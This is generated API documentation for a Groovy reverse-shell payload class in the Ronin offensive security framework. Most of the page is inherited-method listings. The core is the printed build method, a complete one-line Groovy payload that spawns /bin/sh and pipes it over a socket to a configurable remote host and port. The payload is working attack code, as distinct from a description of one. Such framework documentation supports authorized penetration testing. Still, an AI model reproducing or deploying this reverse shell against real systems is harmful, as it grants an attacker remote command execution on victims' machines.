Class: Ronin::Payloads::Groovy::ReverseShell

Inherits:
Ronin::Payloads::GroovyPayload show all
Includes:
Mixins::ReverseShell
Defined in:
lib/ronin/payloads/builtin/groovy/reverse_shell.rb

Overview

A basic Groovy reverse shell.

Since:

  • 0.2.0

Instance Attribute Summary

Attributes included from Mixins::PostEx

#session

Attributes inherited from Payload

#encoders, #payload

Instance Method Summary collapse

Methods included from Mixins::ReverseShell

#host, included, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #port

Methods included from Mixins::PostEx

#perform_cleanup

Methods inherited from Ronin::Payloads::GroovyPayload

payload_type

Methods inherited from Payload

#built?, #built_payload, #bytesize, #cleanup, #encode_payload, #encoded_payload, encoder_class, #initialize, #length, payload_type, #perform_build, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #perform_validate, #postlaunch, #prelaunch, #rebuild_payload, #reencode_payload, register, #to_s, #validate

Constructor Details

This class inherits a constructor from Ronin::Payloads::Payload

Instance Method Details

#buildObject

Builds the Groovy reverse shell command.

Since:

  • 0.2.0



47
48
49
# File 'lib/ronin/payloads/builtin/groovy/reverse_shell.rb', line 47

def build
  @payload = %{Process p=new ProcessBuilder("/bin/sh").redirectErrorStream(true).start();Socket s=new Socket(#{host.inspect},#{port});InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();}
end